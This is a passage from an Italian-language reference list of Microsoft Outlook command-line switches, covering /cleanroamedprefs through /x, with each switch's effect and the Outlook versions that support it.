/cleanroamedprefsTutte le precedenti preferenze in roaming vengono cancellate e copiate di nuovo dalle impostazioni locali sul computer in cui viene utilizzato questo switch. Questo include le impostazioni di roaming per i promemoria, la griglia libero/occupato, gli orari di lavoro, la pubblicazione del calendario e le regole RSS.2007, 2010, 2013, 2016, 2019, 2021, 365
/cleanrulesAvvia Outlook e cancella le regole basate sul client e sul server.2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/cleanschedplusCancella tutti i dati di Schedule+ (libero/occupato, autorizzazioni e file .cal) dal server e permette alle informazioni libero/occupato del calendario di Outlook di essere usate e visualizzate da tutti gli utenti di Schedule+ 1.0.2000, 2002/XP, 2003
/cleanserverrulesAvvia Outlook e cancella le regole basate sul server.2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/cleansharingRimuove tutte le sottoscrizioni RSS, Internet Calendar e SharePoint da Impostazioni account, ma lascia tutto il contenuto precedentemente scaricato sul computer. Utile nel caso in cui non sia possibile eliminare tali sottoscrizioni da Outlook.2010, 2013, 2016, 2019, 2021, 365
/cleansniffForza Outlook a reimpostare il valore di Sniffer Lock sul computer su cui viene utilizzato lo switch. Lo Sniffer Lock determina quale dei computer elabora gli elementi della riunione quando viene eseguito Outlook su più computer allo stesso tempo. Il processo di blocco aiuta a prevenire messaggi di promemoria duplicati.2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/cleansubscriptionsCancella i messaggi di sottoscrizione e le proprietà per le funzioni di sottoscrizione.2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/cleanweatherRimuove le località della città aggiunte alla barra meteorologica.2013, 2016, 2019, 2021, 365
/cleanviewsRipristina la visualizzazione predefinita. Tutte le viste personalizzate create dall'utente vengono perse. 2000, 2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/designerAvvia Outlook senza verificare che sia impostato come client predefinito alla prima esecuzione.
2003
/embedding <msgfilename>Apre il file dei messaggi specificato (.msg) come un embedding OLE. Usato anche senza parametri della riga di comando per la co-creazione OLE standard.2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/explorerApre la nuova finestra in modalità "explorer" (barra di collegamento attiva).2000, 2002/XP, 2003, 2007
/f  <msgfilename>Apre il file di messaggio specificato (.msg) o la ricerca salvata di Microsoft Office (.oss). (Il supporto per i file oss è stato abbandonato da Outlook 2003 SP2 a causa di restrizioni di sicurezza).2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/finderApre la finestra di dialogo Ricerca Avanzata.2007, 2010, 2013, 2016, 2019, 2021, 365
/firstrunAvvia Outlook come se fosse la prima volta.2003, 2007
/folderApre una nuova finestra in modalità "cartella" (riquadro di navigazione disattivato).2000, 2002/XP, 2003, 2007
/hol <holfilename.hol> Apre il file .hol specificato.2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/ical <icsfilename>Apre il file .ics specificato.2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/importNK2Importa il contenuto di un file .nk2 che contiene la lista di nickname usata dal controllo automatico dei nomi e dalle funzioni di completamento automatico.
2010, 2013, 2016, 2019, 2021, 365
/importprf path:\<filename.prf>Lancia Outlook e apre/importa il profilo MAPI definito (*.prf). Se Outlook è già aperto, mette in coda il profilo per essere importato al prossimo avvio pulito.2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/l <olkfilename>Apre il file .olk specificato.2003
/launchtraininghelp assetidApre una finestra di aiuto con l'argomento di aiuto specificato in assetid.2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/m emailnameFornisce un modo per l'utente di aggiungere un nome e-mail all'elemento. Funziona solo in combinazione con il parametro della riga di comando /c.
Esempio:
outlook.exe /c ipm.note /m emailname
2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/manageprofilesApre la finestra di dialogo Mail Setup per gestire il tuo profilo di posta e le impostazioni dell'account fuori da Outlook.2016, 2019, 2021, 365 (Build 1806 e succ.)
/nocustomizeAvvia Outlook senza caricare outcmd.dat (barre degli strumenti personalizzate) e il file *.fav.
2003, 2007
/noextensionsAvvia Outlook con le estensioni disattivate, ma elencate in Add-In Manager.
2003, 2007
/nopollmailAvvia Outlook senza controllare la posta all'avvio.
2003
/nopreview Avvia Outlook con il riquadro di lettura disattivato e rimuove l'opzione dal menu Visualizza.2000, 2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/p <msgfilename>Stampa il messaggio specificato (.msg).
Nelle versioni di Outlook antecedenti alla 2007 lo switch non funziona con i messaggi HTML.
2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/pim <profilename>Crea un nuovo profilo di posta con il nome specificato ma senza un account di posta elettronica.2016, 2019, 2021, 365
/profile <profilename>Carica il profilo specificato. Se il nome del profilo contiene uno spazio va racchiuso tra doppi apici (").2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/profilesApre la finestra di dialogo Scegli profilo indipendentemente dall'impostazione di Opzioni nel menu Strumenti.2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/promptimportprf path:\<filename.prf>Uguale a /importprf tranne per il fatto che viene visualizzato un prompt e l'utente può annullare l'importazione.2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/recycleAvvia Outlook utilizzando una finestra del client esistente, se ne esiste una. Usato in combinazione con /explorer o /folder.2000, 2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/regserverRiscrive tutte le chiavi di registro specifiche di Outlook e riassocia le estensioni dei file senza dover reinstallare Outlook o eseguire il setup con lo switch /y. Le impostazioni sono memorizzate nel file Outlook.srg situato nella stessa cartella del programma Outlook.2000, 2002/XP
/embedding <otmfilename>Apre il programma VBA specificato in otmfilename, piuttosto che %appdata%\Microsoft\Outlook\VbaProject.OTM.2000, 2002/XP
/remigratecategoriesAvvia Outlook e avvia i seguenti comandi sulla casella di posta predefinita:
- Aggiorna le etichette colorate della funzione Completa alle categorie di colore di Outlook 2007;
- Aggiorna le etichette del calendario alle categorie di colore di Outlook 2007;
- Aggiunge tutte le categorie usate sugli elementi non di posta nell'elenco delle categorie principali.
2007, 2010, 2013, 2016, 2019, 2021, 365
/remigrateconversations-2010, 2013, 2016, 2019, 2021, 365
/resetfoldernamesRipristina i nomi predefiniti delle cartelle (come Posta in arrivo o Posta inviata) ai nomi predefiniti nella lingua corrente dell'interfaccia utente di Office.2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/resetfoldersRipristina le cartelle mancanti per la posizione di consegna predefinita.2000, 2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/resetformregionsSvuota la cache delle regioni dei moduli e ricarica le definizioni delle regioni dei moduli dal registro di Windows.2007, 2010, 2013, 2016, 2019, 2021, 365
/resetoutlookbar Ricostruisce la barra di Outlook. 2000, 2002/XP
/resetnavpaneCancella e rigenera il riquadro di navigazione per il profilo corrente.2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/resetquickstepsRipristina le Azioni rapide predefinite. Tutte le Azioni rapide create dall'utente vengono cancellate.2010, 2013, 2016, 2019, 2021, 365
/resetsearchcriteriaResetta tutti i criteri di ricerca istantanea in modo che il set di criteri predefinito sia mostrato in ogni modulo.2007, 2010, 2013, 2016, 2019, 2021, 365
/resetsharedfoldersRimuove tutte le cartelle condivise dal riquadro di navigazione.2007, 2010, 2013, 2016, 2019, 2021, 365
/resettodobarCancella e rigenera l'elenco delle attività della barra delle cose da fare per il profilo corrente. La cartella di ricerca della barra degli impegni viene cancellata e ricreata.2007, 2010, 2013, 2016, 2019, 2021, 365
/restoreTenta di aprire lo stesso profilo e le stesse cartelle che erano aperte prima di un arresto anomalo di Outlook.2010, 2013, 2016, 2019, 2021, 365
/rpcdiagApre Outlook e visualizza la finestra di dialogo Stato connessione Outlook (stato della connessione RPC).2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/rununittests-2013, 2016, 2019, 2021, 365
/s <filename>Carica il file di collegamenti specificato (.fav).2002/XP, 2003
/safeAvvia Outlook senza estensioni, pannello di lettura o personalizzazione della barra degli strumenti.2000, 2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/safe:1Avvia Outlook con il riquadro di lettura disattivato.2003, 2007, 2010, 2013, 2016, 2019, 365
/safe:2Avvia Outlook senza controllare la posta all'avvio.2003
/safe:3Avvia Outlook con le estensioni disattivate, ma elencate in Add-In Manager.2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/safe:4Avvia Outlook senza caricare Outcmd.dat (barre degli strumenti personalizzate) e il file *.fav.2003, 2007
/select foldernameAvvia Outlook e apre la cartella specificata in una nuova finestra. Ad esempio, per aprire Outlook e visualizzare il calendario predefinito:
"Outlook.exe" /select outlook:calendar
2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/share feed://URL/filename
/share stssync://URL
/share web://URL/filename
Specifica un URL di condivisione da connettere a Outlook. Per esempio utilizzare
stssync://URL
per connettere un elenco Microsoft Windows SharePoint Services 3.0 a Outlook.
2007, 2010, 2013, 2016, 2019, 2021, 365
/sniffAvvia Outlook e forza il rilevamento di nuove richieste di riunione nella Posta in arrivo, e poi le aggiunge al calendario.2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/t <oftfilename>Apre il file .oft specificato.2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/unregserverElimina tutte le chiavi di registro e le associazioni di file per Outlook. Le sue azioni sono basate sul file Outlook.srg situato nella stessa cartella dell'applicazione Outlook. Usare successivamente lo switch /regserver per riscrivere le chiavi di registro e le associazioni di file.2000, 2002/XP
/v <vcffilename>Apre il file .vcf specificato.2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/vcal <vcsfilename>Apre il file .vcs specificato.2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/x <xnkfilename>Apre il file .xnk specificato.
2003, 2007